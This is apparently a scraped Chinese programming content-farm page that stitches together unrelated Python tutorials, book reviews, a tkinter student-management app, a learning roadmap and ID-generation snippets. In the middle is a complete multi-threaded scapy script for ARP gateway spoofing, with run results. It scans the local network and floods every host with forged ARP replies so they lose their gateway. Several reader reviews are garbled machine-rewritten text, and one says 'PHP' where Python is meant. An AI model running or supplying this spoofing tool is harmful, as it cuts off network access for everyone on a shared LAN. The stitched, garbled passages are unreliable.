本人想学习python,但是不知道零基础或者基础很差的情况多久能学会呢?或者说多久能够正式入门呢?

1. 1秒钟启动一个下载服务器
在要访问文件的目录下执行:python3 -m http.server
在网页上访问:http://ip:8000/
就可以下载该目录下的文件(windows中也可以用)
2. python 一行试解析json
echo '{"job": "developer", "name": "lmx", "sex": "male"}' | python -m json.tool
cat 1.txt | python -m json.tool (1.txt中是json类型的数据)
3.检查第三方库是否正确安装
如果是单个服务器可以直接进pyhon编辑器中用import 库名 来检查
如果是多个远程服务器时:python -c "import 库名“
4.pip子命令
4.1 加速pip安装的技巧
用pip安装库时下载慢是可以用第三方的源。
通过pip命令的-i选项指定镜像源即可。如下所示:
pip install -i https://pypi.douban.com/simple/ flask
每次都要指定镜像源的地址比较麻烦,我们也可以修改pip的配置文件,将镜像源写入配置文件中。
对于Linux系统来说,需要创建~/.pip/pip.conf文件,然后在文件中保存如下内容:
$ cat pip.conf [global] index-url = https://pypi.douban.com/simple/
5. python调试器
5.1 标准库的pdb
pdb是Python自带的一个库,为Python程序提供了一种交互式的源代码调试功能,包含了现代调试器应有的功能,包括设置断点、单步调试、查看源码、查看程序堆栈等。如果读者具有C或C++程序语言背景,则一定听说过gdb。gdb是由GNU开源组织发布的一个命令行程序调试工具。如果读者之前使用过gdb,那么几乎不用学习就可以直接使用pdb。pdb和gdb保持了一样的用法,这样可以降低工程师的学习负担和Python调试的难度。
部分pdb调试命令:
调用pdb命令:python -m pdb test.py
6.PEP 8 编码格式
地址:https://www.python.org/dev/peps/pep-0008/
首先导入标准库模块,其次导入第三方模块,最后导入当前应用程序,各个分组之间以空行分隔。
无论何时,都应该避免使用通配符导入( from xx import *)。通配符导入会使名称空间里存在的名称变得不清晰,迷惑读者和自动化工具。
7.使用autopep8将代码格式化
autopep8是一个开源的命令行工具,它能够将Python代码自动格式化为PEP8风格。
pip install autopep8
autopep8命令:
检查代码格式:pycodestyle hello.py
查看代码正确格式:autopep8 text.py
修改代码正确格式:autopep8 --in-place text.py
8. 使用getpass库读取密码
getpass是一个非常简单的Python标准库,主要包含getuser函数和getpass函数。前者用来从环境变量中获取用户名,后者用来等待用户输入密码。getpass函数与input函数的区别在于,它不会将我们输入的密码显示在命令行中,从而避免我们输入的密码被他人看到。如下所示:
from __future__ import print_function import getpass user = getpass.getuser() passwd = getpass.getpass('your password: ') print(user, passwd)
9.使用ConfigParse解析配置文件
import ConfigParser (py.2)
import configparser (py.3)
python3中这个库改成小写了。
cf = configparser.ConfigParser(allow_no_value=True) --初始化(注意大小写)
cf.read('my.cnf') --读取配置文件
cf.sections() --返回一个包含所有章节的列表
cf.options('client') --返回一个包含章节下所有选项的列表
cf.get('client','host')) --获取选项的值
判断配置项相关的方法:
sections:返回一个包含所有章节的列表;
has_section:判断章节是否存在;
items:以元组的形式返回所有选项;
options:返回一个包含章节下所有选项的列表;
has_option:判断某个选项是否存在;
get、getboolean、getinit、getfloat:获取选项的值。
修改配置项相关的方法:
remove_section:删除一个章节;
add_section:添加一个章节;
remote_option:删除一个选项;
set:添加一个选项;
write将ConfigParser对象中的数据保存到文件中。
10. prompt_toolkit
prompt_toolkit的特性包括:
1)语法高亮;
2)支持多行编辑;
3)支持代码补全;
4)支持自动提示;
5)可以使用鼠标移动光标;
6)支持Emacs与Vi风格的快捷键;
7)支持查询历史;
8)对Unicode支持友好;
9)使用Python语言开发,跨平台。
可以用退格,左右键。
简单的运用:
from prompt_toolkit import prompt while True: user_input = prompt('>') print(user_input)
有历史输入记录:
11.文本处理
upper:将字符串转换为大写
lower:将字符串转换为小写isupper:判断字符串是否都是大写
islower:判断字符串是否都是小写
swapcase:将字符串中的大写转换为小写、小写转换为大写
capitalize:将首字母转换为大写
istitle:判断字符串是不是一个标题
用法:'字符串'.upper()
isalpha:如果字符串只包含字母,并且非空,则返回True,否则返回False
isalnum:如果字符串值包含字母和数字,并且非空,则返回True,否则返回False
isspace:如果字符串值包含空格、制表符、换行符,并且非空,则返回True,否则返回False
isdecimal:如果字符串只包含数字字符,并且非空,则返回True,否则返回False用法:'字符串'.isalpha()
得到目录下的文件名:os.listdir('/Shell')
已被636人点赞
一、实验原理。
本次用代码实现的是ARP网关欺骗,通过发送错误的网关映射关系导致局域网内其他主机无法正常路由。使用scapy中scapy.all模块的ARP、sendp、Ether等函数完成包的封装与发送。一个简单的ARP响应报文发送:
eth = Ether(src=src_mac, dst=dst_mac)#赋值src_mac时需要注意,参数为字符串类型 arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src为源,dst为目标,op=2为响应报文、1为请求 pkt = eth / arp endp(pkt)
因为实验时发现主机并不会记录来自网关的免费ARP报文,无奈只有先想办法把局域网内存在的主机的IP-MAC映射关系拿到手,再逐个发送定向的ARP响应报文。
二、运行结果。
<1>先查看网关,确保有网:
<2>因为socket需要sudo权限,所以以root权限跑起来:
<3>因为代码写的比较繁琐,跑起来就比现场的工具慢很多,最后看下局域网内主机的arp表:
网关172.16.0.254的MAC地址已经从00:05:66:00:29:69变成01:02:03:04:05:06,成功!
三、实现代码。
代码过程:加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文。
如图,代码分为六个部分。其中的arpATC.py为主程序,pingScanner.py为主机扫描器,arpThread.py为扫描线程,atcThread.py为发包线程,gtwaySearch.py获取网关,macSearch.py读取本机arp表。
<1>pingScanner.py
通过os.popen函数调用ping,使用正则匹配返回字符串判断目标主机是否存在。
#!/usr/bin/python ''' Using ping to scan ''' import os import re import time import thread def host_scanner(ip): p = os.popen('ping -c 2 '+ip) string = p.read() pattern = 'Destination Host Unreachable' if re.search(pattern,string) is not None: print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) ) return False else: print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) ) return True if __name__=='__main__': print 'This script is only use as model,function:scanner(ip)!'
<2>macSearch.py
同样,调用os.popen函数带入参数'arp -a'查看本地缓存的arp表信息。通过正则表达式截取每个IP对应的MAC地址,保存在字典arp_table里并返回。
#!/usr/bin/python ''' Using re to get arp table arp -a ? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0 ''' import re import os import time def getMac(ip_table=[],arp_table={}): #print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) ) p = os.popen('arp -a') string = p.read() string = string.split('\n') pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})' length = len(string) for i in range(length): if string[i] == '': continue result = re.search(pattern, string[i]) if result is not None: ip = result.group(1) mac = result.group(3) arp_table[ip]=mac ip_table.append(ip) #else: #print '[*]macSearch.getMac:result is None' #print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) ) return (ip_table,arp_table) if __name__=='__main__': table = getMac() ip_table = table[0] arp_table = table[1] for i in range(len(ip_table)): ip = ip_table[i] print '[-]'+ip+'<-is located on->'+arp_table[ip]
<3>gtwaySearch.py
通过使用正则截取os.popen('route -n')的返回值确定网关IP,把获取的网关IP与MAC当作元组返回。
#!/usr/bin/python ''' 'Kernel IP routing table\nDestination Gateway Genmask Flags Metric Ref Use Iface\n 0.0.0.0 172.16.0.254 0.0.0.0 UG 100 0 0 enp3s0f1\n 172.16.0.0 0.0.0.0 255.255.255.0 U 100 0 0 enp3s0f1\n' ''' import re import os import time from macSearch import * def find_Gateway(): p = os.popen('route -n') route_table = p.read() pattern = '(0\.0\.0\.0)(\s+)((\d+\.){1,3}(\d+))(\s+)(0\.0\.0\.0)' result = re.search(pattern, route_table) if result is not None: #print '[-]Gateway is located on:' + result.group(3)+'...'+time.asctime( time.localtime(time.time()) ) table = getMac() ip = table[0][0] mac = table[1][ip] return (ip,mac) else: #print '[*]arpATC.find_Gateway:result is None!' #print '[*]Gateway is no found!' return if __name__=='__main__': print '[-]Looking for Gateway...'+time.asctime( time.localtime(time.time()) ) gateway = find_Gateway() if gateway is not None: print '[-]Gateway is located on:' + gateway[0]+'('+gateway[1]+')'+'...'+time.asctime( time.localtime(time.time())) else: print '[*]Gateway is no found!'+gateway[0]+time.asctime( time.localtime(time.time()) )
<4>arpThread.py
考虑到ping扫描主机时遇到不存在的主机会等待过长的时间,使用多线程扫描就稍微会快一点。这里是通过继承、重写run方法实现功能的。因为不太会控制多线程,所以这里写死了,是四个线程平分255个可能存在的主机。
#/usr/bin/python import threading import time from gtwaySearch import * from macSearch import * from pingScaner import * class arpThread(threading.Thread): def __init__(self,tag_ip,number): super(arpThread,self).__init__() self.tag_ip = tag_ip self.number = number self.status = False def run(self): add = 0 if (self.number-1)==0: add = 1 start = (self.number-1)*64 + add #1-63,64-127,128-191,192-256 end = start + 64 for i in range(start, end): if i < 255: host = self.tag_ip.split('.') host[3] = str(i) host = '.'.join(host) host_scanner(host) self.status=True print '[-]Status of Thread_%d is '%self.number+str(self.status) #print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
<5>atcThread.py
使用与arpThread.py中类似的方法继承、重写run方法实现多线程发包的功能。发包时源IP是指定的字符串“01:02:03:04:05:06”,源IP为获取的网关IP,目标IP和目标MAC皆为从本机arp表中获取的真实存在的主机IP与MAC。
#!/usr/bin/python import threading from scapy.all import ARP,Ether,sendp,fuzz,send class atcThread(threading.Thread): def __init__(self,table,gtw_ip,gtw_mac): super(atcThread,self).__init__() self.table = table self.gtw_ip = gtw_ip self.gtw_mac = gtw_mac def run(self): ip_table = self.table[0] arp_table = self.table[1] while True: for i in range(len(ip_table)): tag_ip = ip_table[i] tag_mac = arp_table[tag_ip] eth = Ether(src=self.gtw_mac, dst=tag_mac) arp = ARP(hwsrc='01:02:03:04:05:06', psrc=self.gtw_ip, hwdst=tag_mac, pdst=tag_ip, op=2) pkt = eth / arp sendp(pkt) #pkt = eth/fuzz(arp) #send(pkt,loop=1)
<6>arpATC.py
代码的主程序,代码过程:
加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文->等待。
(四线程) (四线程)
因为主程序是死循环,所以即便是攻击完成后也不会退出。可以在arpThread启动前加入for循环,这样就能无限发送了。
#!/usr/bin/python ''' ''' import os from gtwaySearch import * from arpThread import arpThread from atcThread import atcThread def atc_WrongGTW(gtw): src_ip = gtw[0] src_mac = gtw[1] print '[-]Start scanning hosts...' + time.asctime(time.localtime(time.time())) arpThread_1 = arpThread(src_ip,1) arpThread_2 = arpThread(src_ip,2) arpThread_3 = arpThread(src_ip,3) arpThread_4 = arpThread(src_ip,4) arpThread_1.start() arpThread_2.start() arpThread_3.start() arpThread_4.start() t = False while(t==False): t = arpThread_1.status and arpThread_2.status and arpThread_3.status and arpThread_4.status time.sleep(5) table = getMac() print '[-]Scan completed!' + time.asctime(time.localtime(time.time())) flag = raw_input('[-]Ready to start attacking:(y/n)') while(True): if flag in ['y', 'Y', 'n', 'N']: break print "[*]Plz enter 'y' or 'n'!" flag = raw_input() if flag in ['n','N']: print '[*]Script stopped!' else: atcThread_1 = atcThread(table,src_ip,src_mac) atcThread_2 = atcThread(table,src_ip, src_mac) atcThread_3 = atcThread(table,src_ip, src_mac) atcThread_4 = atcThread(table,src_ip, src_mac) os.popen('arp -s %s %s'%(src_ip,src_mac)) print '[-]'+'arp -s %s %s'%(src_ip,src_mac) print '[-]Strat attack...' atcThread_1.start() atcThread_2.start() atcThread_3.start() atcThread_4.start() if __name__=='__main__': gateway = find_Gateway() if gateway is not None: atc_WrongGTW(gateway) while True: pass else: print "[*]Can't find Gateway!"
以上这篇Python利用scapy实现ARP欺骗的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持码农之家。
已被686人点赞
初衷
在看到一位产品经理制定机器学习的计划并实施后,产生了同样的念头,“非技术”都在了解学习机器学习,我有什么理由不去学呢?
关于本书
本书(《Python 机器学习经典实例》)的标题“经典实例”让我非常感兴趣。
一直认为学习任何新事物,先上手实现简单的demo,再分析这个demo做了什么,怎么做,才能更快的学习。如果是在初始阶段就大量的学习理论,只会对要学习的东西感到痛苦,“这个有什么用啊?”或者“虽然每个字都能看懂,但放一起就不知道在说什么了”。
幸运的是本书就同书名一样,上手就是实例,也穿插了必要的专有名词解释,总体来说还是能够跟得上进度。
并且给出了所使用的数据,能够和书中得到相同的结果,这一反馈更能够增强学习的意愿与兴趣。
但是另一方面,只给出“结果”,而没有“原因”,在一定程度上只是学会了“书里面的知识”,而无法从虚拟的例子映射到实际的现实问题。但鱼和熊掌不可得兼,专注做好一件事,对于“机器学习”的通俗解释,可以从另一本书中找到答案(还没找到这本书)。
总结
还是之前的观点,谈论一本书,要看书的受众、目标。而本书已经做到了它希望做到的 —— 给出机器学习的实例。
已被666人点赞

Python当前的发展形势依然不够明确,十年前,像Perl,PHP和Ruby这样的脚本语言是技术领域最热门的东西。然而今天,却变成Python:如今Python是GitHub上第二大流行编程语言;Stack Overflow上增长最快的主要编程语言。更重要的是,它被认为是最流行的机器学习语言。
常用的python编辑器有哪些呢?
pycharm
如果你正在寻找功能齐全且专用的Python IDE,那非PyCharm莫属了,PyCharm是由JetBrains开发的,这个团队还创建了另一个流行的Java IDE —— IntelliJ IDEA。它也是Python最受欢迎的IDE之一。
开源社区版本为开发人员提供了高效的Python开发所需的所有工具,包括快速代码导航,代码重构,单元测试和调试器。商业版本完全支持Django,Mako和Web2Py用于Web开发。
Spyder
Spyder (前身是 Pydee) 是一个强大的交互式 Python 语言开发环境,提供高级的代码编辑、交互测试、调试等特性,支持包括 Windows、Linux 和 OS X 系统。
该IDE与RStudio和Matlab非常相似,旨在简化数据科学家学习的过程。Spyder独特的功能组合使其成为科学家,工程师和数据分析师的理想工具。这些内置功能包括高级编辑,interactice控制台,文档查看器,变量浏览器和一整套开发工具,包括一些非常好的可视化选项,使您的数据看起来更有光泽。
Eclipse + PyDev
把Eclipse加在这里面似乎不是很合理,但是,PyDev是Eclipse的免费开源插件,因此,它允许开发人员在使用Python编程时可以同时用到Eclipse的功能,鉴于对Eclipse的长期热爱,我决定把它加到列表当中
在为Eclipse IDE安装完插件之后,PyDev可以用于Python,Jython和IronPython开发。开箱即用的功能包括代码完成,代码分析,重构,Python调试,甚至是交互式控制台。如果您是Django开发人员,PyDev可以轻松创建和执行新的Django项目。
IDLE (and IdleX)
Idle 是一个纯 Python 下使用 Tkinter 编写的相当基本的 IDE。以Eric Idle of Monty Python的名字命名,这个IDE非常轻量级,可直接在Python shell中运行。虽然它没有项目管理能力,但IDLE提供了一个功能强大的调试器,它还提供了一个多窗口文本编辑器,具有许多功能,包括多个撤消,Python着色,智能缩进,调用提示,自动完成等。
此外,IdleX是一个由20多个扩展和插件组成的集合,可以为开发人员提供了更多用于学术研究和开发以及探索性编程的工具。这些功能包括shell增强功能,编辑器增强功能,编辑器的交互式执行等。
以上就是安装python还要安装什么的详细内容,更多请关注码农之家其它相关文章!
已被744人点赞
本文实例为大家分享了python+tkinter实现学生管理系统的具体代码,供大家参考,具体内容如下
from tkinter import * from tkinter.messagebox import * import sqlite3 from tkinter import ttk dbstr = "H:\mydb.db" root = Tk() root.geometry('700x1000') root.title('学生管理系统') Label(root, text="学号:").place(relx=0, rely=0.05, relwidth=0.1) Label(root, text="姓名:").place(relx=0.5, rely=0.05, relwidth=0.1) Label(root, text="电话:").place(relx=0, rely=0.1, relwidth=0.1) Label(root, text="地址:").place(relx=0.5, rely=0.1, relwidth=0.1) sid = StringVar() name = StringVar() phone = StringVar() address = StringVar() Entry(root, textvariable=sid).place(relx=0.1, rely=0.05, relwidth=0.37, height=25) Entry(root, textvariable=name).place(relx=0.6, rely=0.05, relwidth=0.37, height=25) Entry(root, textvariable=phone).place(relx=0.1, rely=0.1, relwidth=0.37, height=25) Entry(root, textvariable=address).place(relx=0.6, rely=0.1, relwidth=0.37, height=25) Label(root, text='学生信息管理', bg='white', fg='red', font=('宋体', 15)).pack(side=TOP, fill='x') def showAllInfo(): x = dataTreeview.get_children() for item in x: dataTreeview.delete(item) con = sqlite3.connect(dbstr) cur = con.cursor() cur.execute("select * from student") lst = cur.fetchall() for item in lst: dataTreeview.insert("", 1, text="line1", values=item) cur.close() con.close() def appendInfo(): if sid.get() == "": showerror(title='提示', message='输入不能为空') elif name.get() == "": showerror(title='提示', message='输入不能为空') elif phone.get() == "": showerror(title='提示', message='输入不能为空') elif address.get() == "": showerror(title='提示', message='输入不能为空') else: x = dataTreeview.get_children() for item in x: dataTreeview.delete(item) list1 = [] list1.append(sid.get()) list1.append(name.get()) list1.append(phone.get()) list1.append(address.get()) con = sqlite3.connect(dbstr) cur = con.cursor() cur.execute("insert into student values(?,?,?,?)", tuple(list1)) con.commit() cur.execute("select * from student") lst = cur.fetchall() for item in lst: dataTreeview.insert("", 1, text="line1", values=item) cur.close() con.close() def deleteInfo(): con = sqlite3.connect(dbstr) cur = con.cursor() cur.execute("select * from student") studentList = cur.fetchall() cur.close() con.close() print(studentList) num = sid.get() flag = 0 if num.isnumeric() == False: showerror(title='提示', message='删除失败') for i in range(len(studentList)): for item in studentList[i]: if int(num) == item: flag = 1 con = sqlite3.connect(dbstr) cur = con.cursor() cur.execute("delete from student where id = ?", (int(num),)) con.commit() cur.close() con.close() break if flag == 1: showinfo(title='提示', message='删除成功!') else: showerror(title='提示', message='删除失败') x = dataTreeview.get_children() for item in x: dataTreeview.delete(item) con = sqlite3.connect(dbstr) cur = con.cursor() cur.execute("select * from student") lst = cur.fetchall() for item in lst: dataTreeview.insert("", 1, text="line1", values=item) cur.close() con.close() Button(root, text="显示所有信息", command=showAllInfo).place(relx=0.2, rely=0.2, width=100) Button(root, text="追加信息", command=appendInfo).place(relx=0.4, rely=0.2, width=100) Button(root, text="删除信息", command=deleteInfo).place(relx=0.6, rely=0.2, width=100) dataTreeview = ttk.Treeview(root, show='headings', column=('sid', 'name', 'phone', 'address')) dataTreeview.column('sid', width=150, anchor="center") dataTreeview.column('name', width=150, anchor="center") dataTreeview.column('phone', width=150, anchor="center") dataTreeview.column('address', width=150, anchor="center") dataTreeview.heading('sid', text='学号') dataTreeview.heading('name', text='名字') dataTreeview.heading('phone', text='电话') dataTreeview.heading('address', text='地址') dataTreeview.place(rely=0.3, relwidth=0.97)
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持码农之家。
已被938人点赞
如何能掌握python后端呢?需要学什么?
九层之台,起于垒土。想要成为Python开发领域的高端人才,基础知识很重要,而实战经验也很重要。只有将理论知识与实战项目紧密结合,将现有知识与潮流技术融会贯通,你才能站在技术链的顶端。
以下就是Python开发学习路线,分为10大阶段。
第一阶段为Python语言基础,主要学习Python最基础知识,如Python3、数据类型、字符串、函数、类、文件操作等。阶段课程结束后,学员需要完成Pygame实战飞机大战、2048等项目;
第二阶段为Python语言高级,主要学习Python库、正则表达式、进程线程、爬虫、遍历以及MySQL数据库;
第三阶段为Python全栈工程师前端,主要学习HTML、CSS、JavaScript、jQuery等前端知识,学员需要完成网页界面设计实战
第四至第五阶段为Python全栈工程师后端,主要学习Django、 Flask以及Tornado,学员需要完成对应的实战项目;
第六阶段为Linux基础,主要学习Linux相关的各种命令,如文件处理命令、压缩解压命令、权限管理以及Linux Shell开发等;
第七阶段为Linux运维自动化开发,主要学习Python开发Linux运维、Linux运维报警工具开发、Linux运维报警安全审计开发、Linux业务质量报表工具开发、Kali安全检测工具检测以及Kali 密码破解实战;
第八阶段为Python数据分析,主要学习numpy数据处理、pandas数据分析、matplotlib数据可视化、scipy数据统计分析以及python 金融数据分析;
第九阶段为Python大数据,主要学习Hadoop HDFS、python Hadoop MapReduce、python Spark core、python Spark SQL以及python Spark MLlib;
第十阶段为Python机器学习,主要学习KNN算法、线性回归、逻辑斯蒂回归算法、决策树算法、朴素贝叶斯算法、支持向量机以及聚类k-means算法。
以上就是python后端开发学什么的详细内容,更多请关注码农之家其它相关文章!
已被296人点赞
读者评价一
现阶段最浅显易懂的深度学习新手入门书,由Keras鼻祖落笔。高手不仅技术性能得,文采都不通常,确实就是说以便让尽量多的人可以应用深度学习而写的这这书,包含了深度学习的基本知识、Keras应用方式及其深度学习最好实践活动。
学习培训这书必须具有基本的PHP专业知识,但不用深度学习或是深度学习工作经验,也不用深奥的数学知识,高中数学水准得以看懂这书。
读者评价二
这这书从6月12号那一天老总递到我手上,到今日恰好六周,你在期内我逐字逐句地啃了这这书,并在每星期的星期二和星期五中午给组里的别人讲这这书,每一次讲3个钟头。直至5分钟前不久说完最终一章,写了180页的幻灯片。
感受从何说起呢?先讲Keras吧,这这书的创作者是Keras的创作者,因此这书主要详细介绍Keras在deep learning中的各种各样使用方法。Keras容易入门,觉得用Keras写deep learning的编码就跟用PHP相同,能够便捷地把想起的物品用几行编码表达。例如今日想写个convnet+fully connected layer的model归类一下下MNIST,要是用TensorFlow得话将会要前因后果写许多编码,可是用Keras得话要是不上十行就拿下了,随后就能够跑了,就跟跑“Hello World”相同简易。当你要来个transfer learning,那也非常简单,Keras有许多训炼好的model,立即load1个,再在其上添1个fully connected layer,随后就可用训炼好的model来训炼归类自个的分类器了。许多Keras大神确实比我更有工作经验,我不班门弄斧了。
心情说说我就是怎么读这这书的吧,由于每星期要给组里的人讲2次,大部分就是说每一次讲一章上下的內容。一开始的那时候,我仅仅把书里的关键点运送到幻灯片上,例如什么叫overfitting,什么叫tensor。上了正中间卷积层那章的那时候,组里的诸位老前辈刚开始我们开展了各种各样狂轰乱炸,例如为何convnet比densely connected layer好?为何前边章节目录的MNIST归类创作者用了densely connected layer而不起作用convent?还例如需不需要用activation function?几类不一样的activation function有啥差别?在什么情况能够交换?还例如Stochastic Gradient Descent 有几类?各有的优点和缺点是啥?Dropout为何有效?为何Dropout以后要rescale?为何Depth-wise convolution的高效率比通常convolution高,咋算主要参数?Transposed convolution为何也叫deconvolution?身后的数学课表述是啥?Sampling的那时候什么时候用Normal distribution什么时候用Uniform distribution,为何?
全部这种难题的参考答案你在这书中找不着,并且最要人命的是,只是解答问题是不足的,我都必需用数学公式逻辑推理证明材料我的参考答案是恰当的。例如True SGD的优点和缺点是1,2,3。那麼我不可以只列举这1,2,3。我都必需用关系式证明材料这1,2,3。随后再跑好多个试验,再融合试验結果表明这1,2,3。
要是组里某一人问的难题我没回应上去,那麼这一难题会被记录下来,留在到时候大会再次讲,直至讲懂了已经。刚开始我都能拿下,可是上了后边几章,彻底觉得要失灵了。
读者评价三
这书自出版发行至今接到诸多五星好评,由于是 Keras 创作者写的书,因此全书基础紧紧围绕着 Keras 讲深度学习的各种各样建立,从 CNN,RNN到GAN等等等等,整体偏新手入门,但也承载着许多创作者对深度学习全面性的思索。值得一提的是创作者强烈推荐用GPU 跑书中的事例,这并不是玩笑, 用Cpu 跑你能觉得很失落的~
这书编码都放到创作者的 [Github]上,基础与书中內容相同,或许许多內容的表述在书时会更详尽某些。Keras 的文本文档很全,对初学者也较为友善,因此许多人感觉看文本文档就行,没必需去看书,我觉得书和文本文档都有优点和缺点。
书较大的优势是框架性,能出示1个“总体角度”,让小读者在脑中创建1个详细的地形图,了解什么常见什么不常见,再上述目的性地查缺补漏就较为便捷了,而要是立即查文本文档应对汇聚全球的API因此会手足无措。显然书由于要照料全面性,必定会抛下某些与中心思想不相干的內容或关键点,而这更是文本文档的优势,能够把全部內容都包揽进去,不用太考虑到总体易读性。并且查文本文档有一种寻宝的寓意,常常不知不觉发觉了1个奇妙的作用竟然被建立了。
已被254人点赞
title()方法返回所有单词的第一个字符大写的字符串的一个副本。
语法
以下是title()方法的语法:
str.title();
参数
-
NA
返回值
此方法返回其中所有单词的前几个字符都是大写的字符串的一个副本。
例子
下面的例子显示了title()方法的使用。
#!/usr/bin/python str = "this is string example....wow!!!"; print str.title();
当我们运行上面的程序,它会产生以下结果:
This Is String Example....Wow!!!
相关推荐:
python中的sort的方法使用详解
以上就是Python中title()方法的使用的详细内容,更多请关注码农之家其它相关文章!
已被684人点赞
python 生成随机不重复的用户id
数据库里面有时候需要不重复的id 来表示用户id,就像QQ号码一样。
如果简单用uuid来生成的话,生成64位,太长。
生成6到8位gid
def generate_gid(): gids = [] for number in range(100000, 10000000): gids.append(number) for gid in gids: index0 = random.randint(0, len(gids) - 1) index1 = len(gids) - 1 tmp = gids[index0] gids[index0] = gids[index1] gids[index1] = tmp return gids.pop()
用户问题:想用 Python 写一个 ID 生成器如何解决并发获取产生重复 ID 的问题?
想用 Flask 写一个服务,为各个应用提供自动生成的 ID。
需要获取 ID 的应用---->登录获取 Token---->通过 Token 附带一些参数(比如:ID 类型,ID 生成规则)获取 ID
现在问题主要有:
有一个删除服务,在应用 APP 中删除业务时需要删除生成器对应的 ID,使得 ID 可以重复利用,因此每次生成 ID 时需要查询是否有重复 ID,使得效率很低,而且并发高时,容易生成重复 ID。
python生成唯一Id的几种方法
# coding:utf-8 import random def createRandomString(len): print ('wet'.center(10,'*')) raw = "" range1 = range(58, 65) # between 0~9 and A~Z range2 = range(91, 97) # between A~Z and a~z i = 0 while i < len: seed = random.randint(48, 122) if ((seed in range1) or (seed in range2)): continue; raw += chr(seed); i += 1 # print(raw) return raw print createRandomString(20)
print ("test".center(20,"-")) #! coding:utf-8 import uuid print u"uuid1 生成基于计算机主机ID和当前时间的UUID" print uuid.uuid1() # UUID('a8098c1a-f86e-11da-bd1a-00112444be1e') print u"\nuuid3 基于命名空间和一个字符的MD5加密的UUID" print uuid.uuid3(uuid.NAMESPACE_DNS, 'python.org') #UUID('6fa459ea-ee8a-3ca4-894e-db77e160355e') print u"\nuuid4 随机生成一个UUID" print uuid.uuid4() #'16fd2706-8baf-433b-82eb-8c7fada847da' print u"\nuuid5 基于命名空间和一个字符的SHA-1加密的UUID" uuid.uuid5(uuid.NAMESPACE_DNS, 'python.org') #UUID('886313e1-3b8a-5372-9b90-0c9aee199e5d') print u"\n根据十六进制字符生成UUID" x = uuid.UUID('{00010203-0405-0607-0809-0a0b0c0d0e0f}') print u"转换成十六进制的UUID表现字符" print str(x) # '00010203-0405-0607-0809-0a0b0c0d0e0f'''

已被912人点赞

爬虫是什么?
如果我们把互联网比作一张大的蜘蛛网,数据便是存放于蜘蛛网的各个节点,而爬虫就是一只小蜘蛛,沿着网络抓取自己的猎物(数据)爬虫指的是:向网站发起请求,获取资源后分析并提取有用数据的程序;从技术层面来说就是 通过程序模拟浏览器请求站点的行为,把站点返回的HTML代码/JSON数据/二进制数据(图片、视频) 爬到本地,进而提取自己需要的数据,存放起来使用。
爬虫的基本流程
用户获取网络数据的方式:
方式1:浏览器提交请求--->下载网页代码--->解析成页面
方式2:模拟浏览器发送请求(获取网页代码)->提取有用的数据->存放于数据库或文件中
爬虫要做的就是方式2;
发起请求
使用http库向目标站点发起请求,即发送一个Request
Request包含:请求头、请求体等
Request模块缺陷:不能执行JS 和CSS 代码
获取响应内容
如果服务器能正常响应,则会得到一个Response
Response包含:html,json,图片,视频等
解析内容
解析html数据:正则表达式(RE模块),第三方解析库如Beautifulsoup,pyquery等
解析json数据:json模块
解析二进制数据:以wb的方式写入文件
保存数据
数据库(MySQL,Mongdb、Redis)
文件
以上就是python爬虫难学吗的详细内容,更多请关注码农之家其它相关文章!
已被969人点赞
python多久能学会
13小时16分钟前回答
Python是适合没有基础的同学们学习的。足够简单,沒有指针变量种类等繁杂的定义。他就是说为解决困难而问世的这门语言。并且Python十分强大,能够实现一切你要建立的编码,web、数据处理方法、网络爬虫、测试、人工智能技术、互联网大数据,如果你只想学习这门语言。Python十分适合。但这儿应说的是,如果你是想学习这门语言去找份工作,Python目前可能并非太适合。但市场前景很非常好。
除此之外,每个语言有他自个的设计风格,要是你有java等程序编写工作经验,我觉得针对你而言只需要学习Python的语法就能够用来做开发设计了。你是一位杰出程序猿,极力推荐你将Python作为第二语言,将来,它将助你在激烈的初入职场市场竞争中拔得头筹。例如:互联网大数据、深度学习、数据处理方法、自动化运维、网络爬虫、数据收集与数据可视化、web后端开发等等等等。
至于学习多久没办法固定。由于关系到许多要素,如:教学质量评价、师资力量还有更关键的自个对自学能力的把控。
python能基本编程
学习Python语言的学习周期时间在四个月上下,以培训方法为关键,主要学习周期必须依据您的状况来决策,要求不一样,学习周期时间也存有差别,一起学习分成脱产学习、礼拜天及其互联网,学习時间都是存有差别的。
python新手入门
新手入门一礼拜就可以了,B站展哥和小甲鱼的,比较简单。
全栈开发、flask能看老男孩武佩琦的。400多期视频,大概2六个月。
实例得话能看路飞学城的。这一時间不太好算,看着你爱看是多少个实例。类似1个实例一礼拜上下。
看每个人的理解能力,勤奋程度,还有编程基础,有的四个月就学精了,有的1年2年都还是那样。
python新手入门简单,熟练不太好说,不必觉得python入门简单学精python就很容易,和学别的编程语言需要的时间是差不多的。
大众统计数据,学精这门语言是半年,熟练这门语言是在工作中两三年后
大家还可以通过以下电子书学习相关基础知识,可以让你快速的入门python
已被580人点赞